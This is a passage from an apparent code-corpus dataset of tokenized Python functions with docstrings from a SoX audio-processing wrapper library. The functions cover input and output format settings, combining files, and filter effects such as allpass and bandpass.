fmts)):<EOL><INDENT>input_format_list[i].extend(['<STR_LIT>', '<STR_LIT:{}>'.format(vol)])<EOL>input_format_list[i].extend(fmt)<EOL><DEDENT>return input_format_list<EOL>", "docstring": "Set input formats given input_volumes.\n\n    Parameters\n    ----------\n    input_filepath_list : list of str\n        List of input files\n    input_volumes : list of float, default=None\n        List of volumes to be applied upon combining input files. Volumes\n        are applied to the input files in order.\n        If None, input files will be combined at their original volumes.\n    input_format : list of lists, default=None\n        List of input formats to be applied to each input file. Formatting\n        arguments are applied to the input files in order.\n        If None, the input formats will be inferred from the file header.", "id": "f3808:m3"}
{"signature": "def _build_input_args(input_filepath_list, input_format_list):", "body": "if len(input_format_list) != len(input_filepath_list):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>input_args = []<EOL>zipped = zip(input_filepath_list, input_format_list)<EOL>for input_file, input_fmt in zipped:<EOL><INDENT>input_args.extend(input_fmt)<EOL>input_args.append(input_file)<EOL><DEDENT>return input_args<EOL>", "docstring": "Builds input arguments by stitching input filepaths and input\n    formats together.", "id": "f3808:m4"}
{"signature": "def _validate_combine_type(combine_type):", "body": "if combine_type not in COMBINE_VALS:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(<EOL>COMBINE_VALS)<EOL>)<EOL><DEDENT>", "docstring": "Check that the combine_type is valid.\n\n    Parameters\n    ----------\n    combine_type : str\n        Combine type.", "id": "f3808:m5"}
{"signature": "def _validate_volumes(input_volumes):", "body": "if not (input_volumes is None or isinstance(input_volumes, list)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(input_volumes, list):<EOL><INDENT>for vol in input_volumes:<EOL><INDENT>if not core.is_number(vol):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>.format(vol)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Check input_volumes contains a valid list of volumes.\n\n    Parameters\n    ----------\n    input_volumes : list\n        list of volume values. Castable to numbers.", "id": "f3808:m6"}
{"signature": "def build(self, input_filepath_list, output_filepath, combine_type,<EOL>input_volumes=None):", "body": "file_info.validate_input_file_list(input_filepath_list)<EOL>file_info.validate_output_file(output_filepath)<EOL>_validate_combine_type(combine_type)<EOL>_validate_volumes(input_volumes)<EOL>input_format_list = _build_input_format_list(<EOL>input_filepath_list, input_volumes, self.input_format<EOL>)<EOL>try:<EOL><INDENT>_validate_file_formats(input_filepath_list, combine_type)<EOL><DEDENT>except SoxiError:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>args = []<EOL>args.extend(self.globals)<EOL>args.extend(['<STR_LIT>', combine_type])<EOL>input_args = _build_input_args(input_filepath_list, input_format_list)<EOL>args.extend(input_args)<EOL>args.extend(self.output_format)<EOL>args.append(output_filepath)<EOL>args.extend(self.effects)<EOL>status, out, err = sox(args)<EOL>if status != <NUM_LIT:0>:<EOL><INDENT>raise SoxError(<EOL>\"<STR_LIT>\".format(out, err)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\",<EOL>output_filepath,<EOL>combine_type,<EOL>\"<STR_LIT:U+0020>\".join(self.effects_log)<EOL>)<EOL>if out is not None:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(out))<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "Builds the output_file by executing the current set of commands.\n\n        Parameters\n        ----------\n        input_filepath_list : list of str\n            List of paths to input audio files.\n        output_filepath : str\n            Path to desired output file. If a file already exists at the given\n            path, the file will be overwritten.\n        combine_type : str\n            Input file combining method. One of the following values:\n                * concatenate : combine input files by concatenating in the\n                    order given.\n                * merge : combine input files by stacking each input file into\n                    a new channel of the output file.\n                * mix : combine input files by summing samples in corresponding\n                    channels.\n                * mix-power : combine input files with volume adjustments such\n                    that the output volume is roughly equivlent to one of the\n                    input signals.\n                * multiply : combine input files by multiplying samples in\n                    corresponding samples.\n        input_volumes : list of float, default=None\n            List of volumes to be applied upon combining input files. Volumes\n            are applied to the input files in order.\n            If None, input files will be combined at their original volumes.", "id": "f3808:c0:m1"}
{"signature": "def preview(self, input_filepath_list, combine_type, input_volumes=None):", "body": "args = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>args.extend(self.globals)<EOL>args.extend(['<STR_LIT>', combine_type])<EOL>input_format_list = _build_input_format_list(<EOL>input_filepath_list, input_volumes, self.input_format<EOL>)<EOL>input_args = _build_input_args(input_filepath_list, input_format_list)<EOL>args.extend(input_args)<EOL>args.extend(self.effects)<EOL>play(args)<EOL>", "docstring": "Play a preview of the output with the current set of effects\n\n        Parameters\n        ----------\n        input_filepath_list : list of str\n            List of paths to input audio files.\n        combine_type : str\n            Input file combining method. One of the following values:\n                * concatenate : combine input files by concatenating in the\n                    order given.\n                * merge : combine input files by stacking each input file into\n                    a new channel of the output file.\n                * mix : combine input files by summing samples in corresponding\n                    channels.\n                * mix-power : combine input files with volume adjustments such\n                    that the output volume is roughly equivlent to one of the\n                    input signals.\n                * multiply : combine input files by multiplying samples in\n                    corresponding samples.\n        input_volumes : list of float, default=None\n            List of volumes to be applied upon combining input files. Volumes\n            are applied to the input files in order.\n            If None, input files will be combined at their original volumes.", "id": "f3808:c0:m2"}
{"signature": "def set_input_format(self, file_type=None, rate=None, bits=None,<EOL>channels=None, encoding=None, ignore_length=None):", "body": "if file_type is not None and not isinstance(file_type, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if file_type is not None:<EOL><INDENT>if not all([f in VALID_FORMATS for f in file_type]):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(VALID_FORMATS)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>file_type = []<EOL><DEDENT>if rate is not None and not isinstance(rate, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if rate is not None:<EOL><INDENT>if not all([is_number(r) and r > <NUM_LIT:0> for r in rate]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rate = []<EOL><DEDENT>if bits is not None and not isinstance(bits, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if bits is not None:<EOL><INDENT>if not all([isinstance(b, int) and b > <NUM_LIT:0> for b in bits]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>bits = []<EOL><DEDENT>if channels is not None and not isinstance(channels, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if channels is not None:<EOL><INDENT>if not all([isinstance(c, int) and c > <NUM_LIT:0> for c in channels]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>channels = []<EOL><DEDENT>if encoding is not None and not isinstance(encoding, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if encoding is not None:<EOL><INDENT>if not all([e in ENCODING_VALS for e in encoding]):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(ENCODING_VALS)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>encoding = []<EOL><DEDENT>if ignore_length is not None and not isinstance(ignore_length, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if ignore_length is not None:<EOL><INDENT>if not all([isinstance(l, bool) for l in ignore_length]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ignore_length = []<EOL><DEDENT>max_input_arg_len = max([<EOL>len(file_type), len(rate), len(bits), len(channels),<EOL>len(encoding), len(ignore_length)<EOL>])<EOL>input_format = []<EOL>for _ in range(max_input_arg_len):<EOL><INDENT>input_format.append([])<EOL><DEDENT>for i, f in enumerate(file_type):<EOL><INDENT>input_format[i].extend(['<STR_LIT>', '<STR_LIT:{}>'.format(f)])<EOL><DEDENT>for i, r in enumerate(rate):<EOL><INDENT>input_format[i].extend(['<STR_LIT>', '<STR_LIT:{}>'.format(r)])<EOL><DEDENT>for i, b in enumerate(bits):<EOL><INDENT>input_format[i].extend(['<STR_LIT>', '<STR_LIT:{}>'.format(b)])<EOL><DEDENT>for i, c in enumerate(channels):<EOL><INDENT>input_format[i].extend(['<STR_LIT:-c>', '<STR_LIT:{}>'.format(c)])<EOL><DEDENT>for i, e in enumerate(encoding):<EOL><INDENT>input_format[i].extend(['<STR_LIT>', '<STR_LIT:{}>'.format(e)])<EOL><DEDENT>for i, l in enumerate(ignore_length):<EOL><INDENT>if l is True:<EOL><INDENT>input_format[i].append('<STR_LIT>')<EOL><DEDENT><DEDENT>self.input_format = input_format<EOL>return self<EOL>", "docstring": "Sets input file format arguments. This is primarily useful when\n        dealing with audio files without a file extension. Overwrites any\n        previously set input file arguments.\n\n        If this function is not explicity called the input format is inferred\n        from the file extension or the file's header.\n\n        Parameters\n        ----------\n        file_type : list of str or None, default=None\n            The file type of the input audio file. Should be the same as what\n            the file extension would be, for ex. 'mp3' or 'wav'.\n        rate : list of float or None, default=None\n            The sample rate of the input audio file. If None the sample rate\n            is inferred.\n        bits : list of int or None, default=None\n            The number of bits per sample. If None, the number of bits per\n            sample is inferred.\n        channels : list of int or None, default=None\n            The number of channels in the audio file. If None the number of\n            channels is inferred.\n        encoding : list of str or None, default=None\n            The audio encoding type. Sometimes needed with file-types that\n            support more than one encoding type. One of:\n                * signed-integer : PCM data stored as signed (\u2018two\u2019s\n                    complement\u2019) integers. Commonly used with a 16 or 24\u2212bit\n                    encoding size. A value of 0 represents minimum signal\n                    power.\n                * unsigned-integer : PCM data stored as unsigned integers.\n                    Commonly used with an 8-bit encoding size. A value of 0\n                    represents maximum signal power.\n                * floating-point : PCM data stored as IEEE 753 single precision\n                    (32-bit) or double precision (64-bit) floating-point\n                    (\u2018real\u2019) numbers. A value of 0 represents minimum signal\n                    power.\n                * a-law : International telephony standard for logarithmic\n                    encoding to 8 bits per sample. It has a precision\n                    equivalent to roughly 13-bit PCM and is sometimes encoded\n                    with reversed bit-ordering.\n                * u-law : North American telephony standard for logarithmic\n                    encoding to 8 bits per sample. A.k.a. \u03bc-law. It has a\n                    precision equivalent to roughly 14-bit PCM and is sometimes\n                    encoded with reversed bit-ordering.\n                * oki-adpcm : OKI (a.k.a. VOX, Dialogic, or Intel) 4-bit ADPCM;\n                    it has a precision equivalent to roughly 12-bit PCM. ADPCM\n                    is a form of audio compression that has a good compromise\n                    between audio quality and encoding/decoding speed.\n                * ima-adpcm : IMA (a.k.a. DVI) 4-bit ADPCM; it has a precision\n                    equivalent to roughly 13-bit PCM.\n                * ms-adpcm : Microsoft 4-bit ADPCM; it has a precision\n                    equivalent to roughly 14-bit PCM.\n                * gsm-full-rate : GSM is currently used for the vast majority\n                    of the world\u2019s digital wireless telephone calls. It\n                    utilises several audio formats with different bit-rates and\n                    associated speech quality. SoX has support for GSM\u2019s\n                    original 13kbps \u2018Full Rate\u2019 audio format. It is usually\n                    CPU-intensive to work with GSM audio.\n        ignore_length : list of bool or None, default=None\n            If True, overrides an (incorrect) audio length given in an audio\n            file\u2019s header. If this option is given then SoX will keep reading\n            audio until it reaches the end of the input file.", "id": "f3808:c0:m3"}
{"signature": "def __init__(self):", "body": "self.input_format = []<EOL>self.output_format = []<EOL>self.effects = []<EOL>self.effects_log = []<EOL>self.globals = []<EOL>self.set_globals()<EOL>", "docstring": "Attributes\n----------\ninput_format : list of str\n    Input file format arguments that will be passed to SoX.\noutput_format : list of str\n    Output file format arguments that will be bassed to SoX.\neffects : list of str\n    Effects arguments that will be passed to SoX.\neffects_log : list of str\n    Ordered sequence of effects applied.\nglobals : list of str\n    Global arguments that will be passed to SoX.", "id": "f3809:c0:m0"}
{"signature": "def set_globals(self, dither=False, guard=False, multithread=False,<EOL>replay_gain=False, verbosity=<NUM_LIT:2>):", "body": "if not isinstance(dither, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(guard, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(multithread, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(replay_gain, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if verbosity not in VERBOSITY_VALS:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(<EOL>VERBOSITY_VALS)<EOL>)<EOL><DEDENT>global_args = []<EOL>if not dither:<EOL><INDENT>global_args.append('<STR_LIT>')<EOL><DEDENT>if guard:<EOL><INDENT>global_args.append('<STR_LIT>')<EOL><DEDENT>if multithread:<EOL><INDENT>global_args.append('<STR_LIT>')<EOL><DEDENT>if replay_gain:<EOL><INDENT>global_args.append('<STR_LIT>')<EOL>global_args.append('<STR_LIT>')<EOL><DEDENT>global_args.append('<STR_LIT>'.format(verbosity))<EOL>self.globals = global_args<EOL>return self<EOL>", "docstring": "Sets SoX's global arguments.\n        Overwrites any previously set global arguments.\n        If this function is not explicity called, globals are set to this\n        function's defaults.\n\n        Parameters\n        ----------\n        dither : bool, default=False\n            If True, dithering is applied for low files with low bit rates.\n        guard : bool, default=False\n            If True, invokes the gain effect to guard against clipping.\n        multithread : bool, default=False\n            If True, each channel is processed in parallel.\n        replay_gain : bool, default=False\n            If True, applies replay-gain adjustment to input-files.\n        verbosity : int, default=2\n            SoX's verbosity level. One of:\n                * 0 : No messages are shown at all\n                * 1 : Only error messages are shown. These are generated if SoX\n                    cannot complete the requested commands.\n                * 2 : Warning messages are also shown. These are generated if\n                    SoX can complete the requested commands, but not exactly\n                    according to the requested command parameters, or if\n                    clipping occurs.\n                * 3 : Descriptions of SoX\u2019s processing phases are also shown.\n                    Useful for seeing exactly how SoX is processing your audio.\n                * 4, >4 : Messages to help with debugging SoX are also shown.", "id": "f3809:c0:m1"}
{"signature": "def set_input_format(self, file_type=None, rate=None, bits=None,<EOL>channels=None, encoding=None, ignore_length=False):", "body": "if file_type not in VALID_FORMATS + [None]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(VALID_FORMATS)<EOL>)<EOL><DEDENT>if not is_number(rate) and rate is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if rate is not None and rate <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(bits, int) and bits is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bits is not None and bits <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(channels, int) and channels is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if channels is not None and channels <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if encoding not in ENCODING_VALS + [None]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(ENCODING_VALS)<EOL>)<EOL><DEDENT>if not isinstance(ignore_length, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>input_format = []<EOL>if file_type is not None:<EOL><INDENT>input_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(file_type)])<EOL><DEDENT>if rate is not None:<EOL><INDENT>input_format.extend(['<STR_LIT>', '<STR_LIT>'.format(rate)])<EOL><DEDENT>if bits is not None:<EOL><INDENT>input_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(bits)])<EOL><DEDENT>if channels is not None:<EOL><INDENT>input_format.extend(['<STR_LIT:-c>', '<STR_LIT:{}>'.format(channels)])<EOL><DEDENT>if encoding is not None:<EOL><INDENT>input_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(encoding)])<EOL><DEDENT>if ignore_length:<EOL><INDENT>input_format.append('<STR_LIT>')<EOL><DEDENT>self.input_format = input_format<EOL>return self<EOL>", "docstring": "Sets input file format arguments. This is primarily useful when\n        dealing with audio files without a file extension. Overwrites any\n        previously set input file arguments.\n\n        If this function is not explicity called the input format is inferred\n        from the file extension or the file's header.\n\n        Parameters\n        ----------\n        file_type : str or None, default=None\n            The file type of the input audio file. Should be the same as what\n            the file extension would be, for ex. 'mp3' or 'wav'.\n        rate : float or None, default=None\n            The sample rate of the input audio file. If None the sample rate\n            is inferred.\n        bits : int or None, default=None\n            The number of bits per sample. If None, the number of bits per\n            sample is inferred.\n        channels : int or None, default=None\n            The number of channels in the audio file. If None the number of\n            channels is inferred.\n        encoding : str or None, default=None\n            The audio encoding type. Sometimes needed with file-types that\n            support more than one encoding type. One of:\n                * signed-integer : PCM data stored as signed (\u2018two\u2019s\n                    complement\u2019) integers. Commonly used with a 16 or 24\u2212bit\n                    encoding size. A value of 0 represents minimum signal\n                    power.\n                * unsigned-integer : PCM data stored as unsigned integers.\n                    Commonly used with an 8-bit encoding size. A value of 0\n                    represents maximum signal power.\n                * floating-point : PCM data stored as IEEE 753 single precision\n                    (32-bit) or double precision (64-bit) floating-point\n                    (\u2018real\u2019) numbers. A value of 0 represents minimum signal\n                    power.\n                * a-law : International telephony standard for logarithmic\n                    encoding to 8 bits per sample. It has a precision\n                    equivalent to roughly 13-bit PCM and is sometimes encoded\n                    with reversed bit-ordering.\n                * u-law : North American telephony standard for logarithmic\n                    encoding to 8 bits per sample. A.k.a. \u03bc-law. It has a\n                    precision equivalent to roughly 14-bit PCM and is sometimes\n                    encoded with reversed bit-ordering.\n                * oki-adpcm : OKI (a.k.a. VOX, Dialogic, or Intel) 4-bit ADPCM;\n                    it has a precision equivalent to roughly 12-bit PCM. ADPCM\n                    is a form of audio compression that has a good compromise\n                    between audio quality and encoding/decoding speed.\n                * ima-adpcm : IMA (a.k.a. DVI) 4-bit ADPCM; it has a precision\n                    equivalent to roughly 13-bit PCM.\n                * ms-adpcm : Microsoft 4-bit ADPCM; it has a precision\n                    equivalent to roughly 14-bit PCM.\n                * gsm-full-rate : GSM is currently used for the vast majority\n                    of the world\u2019s digital wireless telephone calls. It\n                    utilises several audio formats with different bit-rates and\n                    associated speech quality. SoX has support for GSM\u2019s\n                    original 13kbps \u2018Full Rate\u2019 audio format. It is usually\n                    CPU-intensive to work with GSM audio.\n        ignore_length : bool, default=False\n            If True, overrides an (incorrect) audio length given in an audio\n            file\u2019s header. If this option is given then SoX will keep reading\n            audio until it reaches the end of the input file.", "id": "f3809:c0:m2"}
{"signature": "def set_output_format(self, file_type=None, rate=None, bits=None,<EOL>channels=None, encoding=None, comments=None,<EOL>append_comments=True):", "body": "if file_type not in VALID_FORMATS + [None]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(VALID_FORMATS)<EOL>)<EOL><DEDENT>if not is_number(rate) and rate is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if rate is not None and rate <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(bits, int) and bits is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bits is not None and bits <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(channels, int) and channels is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if channels is not None and channels <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if encoding not in ENCODING_VALS + [None]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(ENCODING_VALS)<EOL>)<EOL><DEDENT>if comments is not None and not isinstance(comments, str):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(append_comments, bool):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>output_format = []<EOL>if file_type is not None:<EOL><INDENT>output_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(file_type)])<EOL><DEDENT>if rate is not None:<EOL><INDENT>output_format.extend(['<STR_LIT>', '<STR_LIT>'.format(rate)])<EOL><DEDENT>if bits is not None:<EOL><INDENT>output_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(bits)])<EOL><DEDENT>if channels is not None:<EOL><INDENT>output_format.extend(['<STR_LIT:-c>', '<STR_LIT:{}>'.format(channels)])<EOL><DEDENT>if encoding is not None:<EOL><INDENT>output_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(encoding)])<EOL><DEDENT>if comments is not None:<EOL><INDENT>if append_comments:<EOL><INDENT>output_format.extend(['<STR_LIT>', comments])<EOL><DEDENT>else:<EOL><INDENT>output_format.extend(['<STR_LIT>', comments])<EOL><DEDENT><DEDENT>self.output_format = output_format<EOL>return self<EOL>", "docstring": "Sets output file format arguments. These arguments will overwrite\n        any format related arguments supplied by other effects (e.g. rate).\n\n        If this function is not explicity called the output format is inferred\n        from the file extension or the file's header.\n\n        Parameters\n        ----------\n        file_type : str or None, default=None\n            The file type of the output audio file. Should be the same as what\n            the file extension would be, for ex. 'mp3' or 'wav'.\n        rate : float or None, default=None\n            The sample rate of the output audio file. If None the sample rate\n            is inferred.\n        bits : int or None, default=None\n            The number of bits per sample. If None, the number of bits per\n            sample is inferred.\n        channels : int or None, default=None\n            The number of channels in the audio file. If None the number of\n            channels is inferred.\n        encoding : str or None, default=None\n            The audio encoding type. Sometimes needed with file-types that\n            support more than one encoding type. One of:\n                * signed-integer : PCM data stored as signed (\u2018two\u2019s\n                    complement\u2019) integers. Commonly used with a 16 or 24\u2212bit\n                    encoding size. A value of 0 represents minimum signal\n                    power.\n                * unsigned-integer : PCM data stored as unsigned integers.\n                    Commonly used with an 8-bit encoding size. A value of 0\n                    represents maximum signal power.\n                * floating-point : PCM data stored as IEEE 753 single precision\n                    (32-bit) or double precision (64-bit) floating-point\n                    (\u2018real\u2019) numbers. A value of 0 represents minimum signal\n                    power.\n                * a-law : International telephony standard for logarithmic\n                    encoding to 8 bits per sample. It has a precision\n                    equivalent to roughly 13-bit PCM and is sometimes encoded\n                    with reversed bit-ordering.\n                * u-law : North American telephony standard for logarithmic\n                    encoding to 8 bits per sample. A.k.a. \u03bc-law. It has a\n                    precision equivalent to roughly 14-bit PCM and is sometimes\n                    encoded with reversed bit-ordering.\n                * oki-adpcm : OKI (a.k.a. VOX, Dialogic, or Intel) 4-bit ADPCM;\n                    it has a precision equivalent to roughly 12-bit PCM. ADPCM\n                    is a form of audio compression that has a good compromise\n                    between audio quality and encoding/decoding speed.\n                * ima-adpcm : IMA (a.k.a. DVI) 4-bit ADPCM; it has a precision\n                    equivalent to roughly 13-bit PCM.\n                * ms-adpcm : Microsoft 4-bit ADPCM; it has a precision\n                    equivalent to roughly 14-bit PCM.\n                * gsm-full-rate : GSM is currently used for the vast majority\n                    of the world\u2019s digital wireless telephone calls. It\n                    utilises several audio formats with different bit-rates and\n                    associated speech quality. SoX has support for GSM\u2019s\n                    original 13kbps \u2018Full Rate\u2019 audio format. It is usually\n                    CPU-intensive to work with GSM audio.\n        comments : str or None, default=None\n            If not None, the string is added as a comment in the header of the\n            output audio file. If None, no comments are added.\n        append_comments : bool, default=True\n            If True, comment strings are appended to SoX's default comments. If\n            False, the supplied comment replaces the existing comment.", "id": "f3809:c0:m3"}
{"signature": "def clear_effects(self):", "body": "self.effects = list()<EOL>self.effects_log = list()<EOL>return self<EOL>", "docstring": "Remove all effects processes.", "id": "f3809:c0:m4"}
{"signature": "def build(self, input_filepath, output_filepath, extra_args=None,<EOL>return_output=False):", "body": "file_info.validate_input_file(input_filepath)<EOL>if output_filepath is not None:<EOL><INDENT>file_info.validate_output_file(output_filepath)<EOL><DEDENT>else:<EOL><INDENT>output_filepath = '<STR_LIT>'<EOL><DEDENT>if input_filepath == output_filepath:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>args = []<EOL>args.extend(self.globals)<EOL>args.extend(self.input_format)<EOL>args.append(input_filepath)<EOL>args.extend(self.output_format)<EOL>args.append(output_filepath)<EOL>args.extend(self.effects)<EOL>if extra_args is not None:<EOL><INDENT>if not isinstance(extra_args, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>args.extend(extra_args)<EOL><DEDENT>status, out, err = sox(args)<EOL>if status != <NUM_LIT:0>:<EOL><INDENT>raise SoxError(<EOL>\"<STR_LIT>\".format(out, err)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\",<EOL>output_filepath,<EOL>\"<STR_LIT:U+0020>\".join(self.effects_log)<EOL>)<EOL>if out is not None:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(out))<EOL><DEDENT>if return_output:<EOL><INDENT>return status, out, err<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>", "docstring": "Builds the output_file by executing the current set of commands.\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to input audio file.\n        output_filepath : str or None\n            Path to desired output file. If a file already exists at the given\n            path, the file will be overwritten.\n            If None, no file will be created.\n        extra_args : list or None, default=None\n            If a list is given, these additional arguments are passed to SoX\n            at the end of the list of effects.\n            Don't use this argument unless you know exactly what you're doing!\n        return_output : bool, default=False\n            If True, returns the status and information sent to stderr and\n            stdout as a tuple (status, stdout, stderr).\n            Otherwise returns True on success.", "id": "f3809:c0:m5"}
{"signature": "def preview(self, input_filepath):", "body": "args = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>args.extend(self.globals)<EOL>args.extend(self.input_format)<EOL>args.append(input_filepath)<EOL>args.extend(self.effects)<EOL>play(args)<EOL>", "docstring": "Play a preview of the output with the current set of effects\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to input audio file.", "id": "f3809:c0:m6"}
{"signature": "def allpass(self, frequency, width_q=<NUM_LIT>):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(frequency), '<STR_LIT>'.format(width_q)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a two-pole all-pass filter. An all-pass filter changes the\n        audio\u2019s frequency to phase relationship without changing its frequency\n        to amplitude relationship. The filter is described in detail in at\n        http://musicdsp.org/files/Audio-EQ-Cookbook.txt\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's center frequency in Hz.\n        width_q : float, default=2.0\n            The filter's width as a Q-factor.\n\n        See Also\n        --------\n        equalizer, highpass, lowpass, sinc", "id": "f3809:c0:m7"}
{"signature": "def bandpass(self, frequency, width_q=<NUM_LIT>, constant_skirt=False):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(constant_skirt, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if constant_skirt:<EOL><INDENT>effect_args.append('<STR_LIT:-c>')<EOL><DEDENT>effect_args.extend(['<STR_LIT>'.format(frequency), '<STR_LIT>'.format(width_q)])<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a two-pole Butterworth band-pass filter with the given central\n        frequency, and (3dB-point) band-width. The filter rolls off at 6dB per\n        octave (20dB per decade) and is described in detail in\n        http://musicdsp.org/files/Audio-EQ-Cookbook.txt\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's center frequency in Hz.\n        width_q : float, default=2.0\n            The filter's width as a Q-factor.\n        constant_skirt : bool, default=False\n            If True, selects constant skirt gain (peak gain = width_q).\n            If False, selects constant 0dB peak gain.\n\n        See Also\n        --------\n        bandreject, sinc", "id": "f3809:c0:m8"}
{"signature": "def bandreject(self, frequency, width_q=<NUM_LIT>):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(frequency), '<STR_LIT>'.format(width_q)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a two-pole Butterworth band-reject filter with the given\n        central frequency, and (3dB-point) band-width. The filter rolls off at\n        6dB per octave (20dB per decade) and is described in detail in\n        http://musicdsp.org/files/Audio-EQ-Cookbook.txt\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's center frequency in Hz.\n        width_q : float, default=2.0\n            The filter's width as a Q-factor.\n        constant_skirt : bool, default=False\n            If True, selects constant skirt gain (peak gain = width_q).\n            If False, selects constant 0dB peak gain.\n\n        See Also\n        --------\n        bandreject, sinc", "id": "f3809:c0:m9"}
